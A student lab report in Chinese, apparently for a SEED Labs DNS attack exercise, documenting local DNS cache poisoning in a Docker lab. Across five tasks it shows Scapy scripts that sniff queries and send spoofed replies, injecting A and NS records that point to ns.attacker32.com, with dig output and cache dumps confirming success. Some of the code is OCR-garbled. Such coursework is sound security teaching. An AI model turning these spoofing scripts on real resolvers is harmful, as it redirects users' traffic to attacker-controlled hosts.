LAB 5

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Task1

```
[07/18/21]seed@VM:~/.../volumes$ dockps
3cfb866efa53 attacker-ns-10.9.0.153
822f02373e77 seed-attacker
29a88188192e seed-router
1be4785dfe1d local-dns-server-10.9.0.53
                   user-10.9.0.5
1177b27d0430
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59159
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 38f2cf088f6f73b40100000060f4d89a19a6357529d32132 (good)
;; QUESTION SECTION:
;ns.attacker32.com.
;; ANSWER SECTION:
ns.attacker32.com.
                     259200 IN
                                          10.9.0.153
;; Query time: 28 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 01:42:50 UTC 2021
;; MSG SIZE rcvd: 90
```

编写的代码如下,其中包含一条 DNS 记录,将 example.com 映射到 10.9.0.153

```
1from scapy.all import *
 3 NS NAME = "example.com"
 5 def spoof dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
            print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
            ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
10
            Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="10.9.0.153")
dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,an=Anssec)
11
12
13
             spoofpkt = ip/udp/dns
             send(spoofpkt)
14
15
16 myFilter = "src host 10.9.0.5 and dst host 10.9.0.53"
17 pkt=sniff(iface='br-dfcbe0c9bf08',filter=myFilter,prn=spoof_dns)
```

运行上述程序发送报文包,执行 dig 命令,发现响应中 example 被映射到 10.9.0.153:

```
root@1177b27d0430:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12353
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;example.com.
                                IN
;; ANSWER SECTION:
example.com.
                        259200 IN
                                                 10.9.0.153
;; Query time: 71 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 02:09:00 UTC 2021
;; MSG SIZE rcvd: 56
```

Task2

(存在部分 Task3 的内容)

修改编写代码程序,构造 NS,将 example.com 指向 ns.attacker32.com,代码如下:

清空缓存(后面每次查看缓存之前均需要清空一下):

:/# rndc flush

运行代码,dig www.example.com,则在本地 DNS 服务器缓存中,可发现映射到了 1.2.3.4,增加了 ns 记录,example.com 指向了 ns.attacker32.com:

```
; <<>> DiG 9.16.1-Ubuntu <<>> wwww.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12354
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;wwww.example.com.
                              IN
                                      Α
;; ANSWER SECTION:
wwww.example.com.
                      259200 IN
                                     Α
                                            1.2.3.4
;; AUTHORITY SECTION:
                      259200 IN
                                     NS
example.com.
                                           ns.attacker32.com.
;; Query time: 87 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:24:40 UTC 2021
;; MSG SIZE rcvd: 108
; authanswer
                           863998 IN A 10.9.0.153
; authauthority
example.com.
                           863998 NS
                                            ns.attacker32.com.
; authanswer
_.example.com.
                                             1.2.3.4
                           863998 A
root@1be4785dfe1d:/# rndc dumpdb -cache
root@lbe4785dfeld:/# cat /var/cache/bind/dump.db | grep example
                        863998 NS ns.attacker32.com.
example.com.
                         863998 A
                                         1.2.3.4
.example.com.
```

Task3

在上面实验代码的运行之下,进行 dig mail.example.com,可以看到伪造的响应 将其映射到了 1.2.3.6:

```
; <>>> DiG 9.16.1-Ubuntu <>>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58151
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: eef2d7129f63a1c00100000060f4f1ba38670a22c2fee19c (good)
;; QUESTION SECTION:
;mail.example.com.
                                 IN
;; ANSWER SECTION:
mail.example.com.
                        259200 IN
                                         Α
                                                 1.2.3.6
;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:30:03 UTC 2021
;; MSG SIZE rcvd: 89
; answer
ns.attacker32.com.
                     615511 IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
: authanswer
                      863911 IN A 10.9.0.153
; authauthority
                      863911 NS
                                     ns.attacker32.com.
example.com.
; authanswer
.example.com.
                      863911 A
                                      1.2.3.4
; authanswer
                      863995 A
mail.example.com.
                                      1.2.3.6
```

Task4.

再次增加一条 NS,也将 ns.attacker32.com 做为 google.com 的域名服务器:

```
1 from scapy.all import *
2
3 NS_NAME = "example.com"
4
5 def spoof_dns(pkt):
6    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):|
7         print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
8
9         ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
10         udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
11         Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="1.2.3.4")
12         NSsec1 = DNSRR(rrname='gogle.com',type='Ns',ttl=259200,rdata='ns.attacker32.com')
13         NSsec2 = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
14         dns = DNS[id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=2,an=Anssec,ns=NSsec1/NSsec2)
15         spoofpkt = ip/udp/dns
16         send(spoofpkt)
17
18 myFilter = "udp and dst port 53"
19 pkt=sniff(iface='br-dfcbe0c9bf08',filter=myFilter,prn=spoof_dns)
```

运行代码,执行 dig 命令,响应中 www.example 被映射到 1.2.3.4,攻击成功:

```
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                         Α
                                                 1.2.3.4
;; AUTHORITY SECTION:
                        259200
                                 ΙN
                                         NS
                                                 ns.attacker32.com.
example.com.
google.com.
                        259200
                                 ΙN
                                         NS
                                                  ns.attacker32.com.
```

但是在本地域名服务器只保存一条记录,当交换 NSsec1 和 2 时,可分两次分别看到记录:

```
; authanswer
                               863983
                                          IN A
                                                     10.9.0.153
; authauthority
example.com.
                               863983
                                          NS
                                                     ns.attacker32.com.
; authanswer
_.example.com.
                               863983
                                                     1.2.3.4
                                          Α
; answer
ns.attacker32.com.
                     615592 IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 24192
00 86400
; authanswer
                     863992 IN A
                                   10.9.0.153
; authanswer
_.example.com.
                     863986 A
                                   1.2.3.4
; authauthority
                     863986 NS
google.com.
                                   ns.attacker32.com.
 Address database dump
```

Task5

构造 Additional section 记录,编写两条 NS 如下:

运行上述程序,执行 dig 命令,响应中 <u>www.example</u> 被映射到 1.2.3.4,攻击成功,也可以看到 additional section 部分的显示:

```
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                      Α
                                                1.2.3.4
;; AUTHORITY SECTION:
example.com.
                        259200 IN
                                         NS
                                                 ns.attacker32.com.
example.com.
                        259200 IN
                                         NS
                                                 ns.example.com.
;; ADDITIONAL SECTION:
ns.attacker32.com. 259200 IN
                       259200 IN
259200 IN
                                         Α
                                                 1.2.3.4
ns.example.net. 259200 IN www.facebook.com. 259200 IN
                                                 5.6.7.8
                                                 3.4.5.6
```

在本地服务器缓存中查看, example.com 均可映射 ns.example.com 和

ns.attacker32.com:

```
$DATE 20210713025747
; answer
ns.attacker32.com. 615593 IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 24192
00 86400
; authanswer
                      863993 IN A
                                    10.9.0.153
; authauthority
                      863993 NS ns.example.com.
example.com.
                      863993 NS
                                     ns.attacker32.com.
; authanswer
_.example.com.
                      863993 A
                                     1.2.3.4
; authanswer
                      863993 A
                                     1.2.3.4
ns.example.com.
```

Additional section 中的 www.facebook.com 没有,因为其不再域内,不会被接收。

```
root@232b7f22708c:/# rndc flush
root@232b7f22708c:/# rndc dumpdb -cache
root@232b7f22708c:/# rndc dumpdb -cache
root@232b7f22708c:/# cat /var/cache/bind/dump.db | grep facebook
root@232b7f22708c:/#
```